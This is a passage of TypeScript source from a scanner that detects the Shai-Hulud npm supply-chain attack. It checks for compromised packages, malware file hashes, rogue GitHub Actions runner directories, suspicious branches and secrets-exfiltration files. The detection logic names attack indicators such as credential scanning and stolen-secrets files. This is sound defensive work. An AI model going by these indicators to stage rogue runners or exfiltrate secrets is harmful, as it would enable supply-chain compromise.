for (const { pattern, description } of SHAI_HULUD_REPO_PATTERNS) {
if (pattern.test(content)) {
// Make sure it's not just a reference to the detector
const contentWithoutDetector = content
.replace(/gensecaihq\/Shai-Hulud-2\.0-Detector/gi, '')
.replace(/shai-hulud-detector/gi, '');
if (pattern.test(contentWithoutDetector)) {
findings.push({
type: 'shai-hulud-repo',
severity: 'high',
title: `Shai-Hulud reference in package.json`,
description: `${description}. Package may be configured to reference attacker infrastructure.`,
location: file,
});
}
}
}
} catch {
// Skip if we can't read
}
}
return findings;
}
/**
* Produce low severity warnings for dependencies from organizations affected in the
* campaign when semver ranges (caret/tilde) may auto-update into compromised versions.
* Skips already known compromised packages.
* @param filePath Path to package.json.
* @returns SecurityFinding list (low severity).
*/
export function checkAffectedNamespaces(filePath: string): SecurityFinding[] {
const findings: SecurityFinding[] = [];
const pkg = parsePackageJson(filePath);
if (!pkg) return findings;
const allDeps = {
...pkg.dependencies,
...pkg.devDependencies,
...pkg.peerDependencies,
...pkg.optionalDependencies,
};
for (const [name, version] of Object.entries(allDeps)) {
// Skip if already in affected packages list
if (isAffected(name, version)) continue;
// Check if from affected namespace
for (const namespace of AFFECTED_NAMESPACES) {
if (name.startsWith(namespace + '/')) {
// Check for semver range patterns that could auto-update to compromised versions
if (version && (version.startsWith('^') || version.startsWith('~'))) {
findings.push({
type: 'compromised-package',
severity: 'low',
title: `Package from affected namespace with semver range`,
description: `"${name}" is from the ${namespace} namespace which has known compromised packages. The version pattern "${version}" could auto-update to a compromised version during npm update.`,
location: filePath,
evidence: `"${name}": "${version}"`,
});
}
break;
}
}
}
return findings;
}
/**
* Check local git branch names for Shai-Hulud related indicators to surface possible
* attack propagation or staging branches.
* @param directory Repository root.
* @returns SecurityFinding list (medium severity).
*/
export function checkSuspiciousBranches(directory: string): SecurityFinding[] {
const findings: SecurityFinding[] = [];
const headsPath = path.join(directory, '.git', 'refs', 'heads');
if (!fs.existsSync(headsPath)) return findings;
try {
const branches = fs.readdirSync(headsPath);
for (const branch of branches) {
for (const { pattern, description } of SHAI_HULUD_REPO_PATTERNS) {
if (pattern.test(branch)) {
findings.push({
type: 'shai-hulud-repo',
severity: 'medium',
title: `Suspicious git branch: ${branch}`,
description: `${description}. This branch name is associated with the Shai-Hulud attack campaign.`,
location: path.join(headsPath, branch),
});
}
}
}
} catch {
// Skip if we can't read
}
return findings;
}
/**
* Calculate SHA256 hash of a file for malware signature matching.
* @param filePath Path to the file.
* @returns SHA256 hash as lowercase hex string, or null on error.
*/
function calculateSHA256(filePath: string): string | null {
try {
const content = fs.readFileSync(filePath);
return crypto.createHash('sha256').update(content).digest('hex');
} catch {
return null;
}
}
/**
* Check files against known SHA256 hashes of Shai-Hulud malware variants.
* Scans for setup_bun.js and bun_environment.js files and matches their hashes
* against the Datadog Security Labs IOC database.
* @param directory Root directory to scan.
* @returns SecurityFinding list (critical severity).
*/
export function checkMalwareHashes(directory: string): SecurityFinding[] {
const findings: SecurityFinding[] = [];
const suspiciousFileNames = Object.keys(KNOWN_MALWARE_HASHES);
const searchDir = (dir: string, depth: number = 0) => {
if (depth > 5) return;
try {
const entries = fs.readdirSync(dir, { withFileTypes: true });
for (const entry of entries) {
const fullPath = path.join(dir, entry.name);
if (entry.isFile() && suspiciousFileNames.includes(entry.name)) {
const hash = calculateSHA256(fullPath);
if (hash && KNOWN_MALWARE_HASHES[entry.name]?.includes(hash)) {
findings.push({
type: 'trufflehog-activity',
severity: 'critical',
title: `Confirmed Shai-Hulud malware: ${entry.name}`,
description: `File "${entry.name}" matches a known SHA256 hash from the Shai-Hulud attack. This is a confirmed malicious payload.`,
location: fullPath,
evidence: `SHA256: ${hash}`,
});
}
} else if (
entry.isDirectory() &&
!entry.name.startsWith('.') &&
entry.name !== 'node_modules'
) {
searchDir(fullPath, depth + 1);
}
}
} catch {
// Skip directories we can't read
}
};
searchDir(directory);
return findings;
}
/**
* Check for Shai-Hulud runner installation artifacts including the .dev-env directory
* and specific GitHub Actions runner versions used by the attack.
* @param directory Root directory to scan.
* @returns SecurityFinding list (critical severity).
*/
export function checkRunnerInstallation(directory: string): SecurityFinding[] {
const findings: SecurityFinding[] = [];
const searchDir = (dir: string, depth: number = 0) => {
if (depth > 5) return;
try {
const entries = fs.readdirSync(dir, { withFileTypes: true });
for (const entry of entries) {
const fullPath = path.join(dir, entry.name);
// Check for .dev-env directory (runner installation path)
if (entry.isDirectory() && entry.name === '.dev-env') {
findings.push({
type: 'malicious-runner',
severity: 'critical',
title: `Shai-Hulud runner installation directory: .dev-env`,
description: `Found ".dev-env" directory which is used by the Shai-Hulud attack to install rogue GitHub Actions runners. This directory should be investigated and removed.`,
location: fullPath,
});
}
// Check for runner tarball
if (entry.isFile() && /actions-runner-linux-x64-2\.330\.0/i.test(entry.name)) {
findings.push({
type: 'malicious-runner',
severity: 'critical',
title: `Shai-Hulud runner artifact: ${entry.name}`,
description: `Found GitHub Actions runner archive matching the version used by the Shai-Hulud attack. This file may have been downloaded for malicious runner installation.`,
location: fullPath,
});
}
if (
entry.isDirectory() &&
!entry.name.startsWith('.') &&
entry.name !== 'node_modules'
) {
searchDir(fullPath, depth + 1);
}
}
} catch {
// Skip directories we can't read
}
};
searchDir(directory);
// Also check home directory for .dev-env if accessible
const homeDir = process.env.HOME || process.env.USERPROFILE;
if (homeDir) {
const devEnvPath = path.join(homeDir, '.dev-env');
if (fs.existsSync(devEnvPath)) {
findings.push({
type: 'malicious-runner',
severity: 'critical',
title: `Shai-Hulud runner installation in home directory`,
description: `Found ".dev-env" directory in home directory (${devEnvPath}). This is the primary installation path for Shai-Hulud rogue runners. Immediate investigation required.`,
location: devEnvPath,
});
}
}
return findings;
}
/**
* Orchestrate full scan: package.json files, optional lockfiles, and advanced security
* checks (scripts, TruffleHog activity, exfiltration files, malicious runners, repo refs,
* suspicious branches). Aggregates and de-duplicates findings, returning a structured summary.
* @param directory Root directory to scan.
* @param scanLockfiles Whether to include lockfile scanning.
* @param scanNodeModules Whether to include node_modules directories in package.json scans. Defaults to false.
* @returns Comprehensive ScanSummary.
*/
export function runScan(
directory: string,
scanLockfiles: boolean = true,
scanNodeModules: boolean = false,
): ScanSummary {
const startTime = Date.now();
const allResults: ScanResult[] = [];
const allSecurityFindings: SecurityFinding[] = [];
const scannedFiles: string[] = [];
const seenPackages = new Set<string>();
const seenFindings = new Set<string>();
// Scan package.json files
const packageJsonFiles = findPackageJsonFiles(directory, scanNodeModules);
for (const file of packageJsonFiles) {
scannedFiles.push(file);
const results = scanPackageJson(file, true);
for (const result of results) {
const key = `${result.package}@${result.version}`;
if (!seenPackages.has(key)) {
seenPackages.add(key);
if (result.affected) {
allResults.push(result);
}
}
}
// Check for suspicious scripts in package.json
const scriptFindings = checkSuspiciousScripts(file);
for (const finding of scriptFindings) {
const key = `${finding.type}:${finding.location}:${finding.title}`;
if (!seenFindings.has(key)) {
seenFindings.add(key);
allSecurityFindings.push(finding);
}
}
// Check for packages from affected namespaces
const namespaceFindings = checkAffectedNamespaces(file);
for (const finding of namespaceFindings) {
const key = `${finding.type}:${finding.location}:${finding.title}`;
if (!seenFindings.has(key)) {
seenFindings.add(key);
allSecurityFindings.push(finding);
}
}
}
// Scan lockfiles if enabled
if (scanLockfiles) {
const lockfiles = findLockfiles(directory, scanNodeModules);
for (const file of lockfiles) {
scannedFiles.push(file);
let results: ScanResult[] = [];
if (
file.endsWith('package-lock.json') ||
file.endsWith('npm-shrinkwrap.json')
) {
results = scanPackageLock(file);
} else if (file.endsWith('yarn.lock')) {
results = scanYarnLock(file);
}
// TODO: Add pnpm-lock.yaml support
for (const result of results) {
const key = `${result.package}@${result.version}`;
if (!seenPackages.has(key)) {
seenPackages.add(key);
if (result.affected) {
allResults.push(result);
}
}
}
}
}
// ==========================================================================
// ADVANCED SECURITY CHECKS
// ==========================================================================
// Check for TruffleHog activity and credential scanning
const trufflehogFindings = checkTrufflehogActivity(directory);
for (const finding of trufflehogFindings) {
const key = `${finding.type}:${finding.location}:${finding.title}`;
if (!seenFindings.has(key)) {
seenFindings.add(key);
allSecurityFindings.push(finding);
}
}
// Check for secrets exfiltration files (actionsSecrets.json)
const exfilFindings = checkSecretsExfiltration(directory);
for (const finding of exfilFindings) {
const key = `${finding.type}:${finding.location}:${finding.title}`;
if (!seenFindings.has(key)) {
seenFindings.add(key);
allSecurityFindings.push(finding);
}
}
// Check GitHub Actions workflows for malicious runners
const runnerFindings = checkMaliciousRunners(directory);
for (const finding of runnerFindings) {
const key = `${finding.type}:${finding.location}:${finding.title}`;
if (!seenFindings.has(key)) {
seenFindings.add(key);
allSecurityFindings.push(finding);
}
}
// Check for Shai-Hulud repository references
const repoFindings = checkShaiHuludRepos(directory);
for (const finding of repoFindings) {
const key = `${finding.type}:${finding.location}:${finding.title}`;
if (!seenFindings.has(key)) {
seenFindi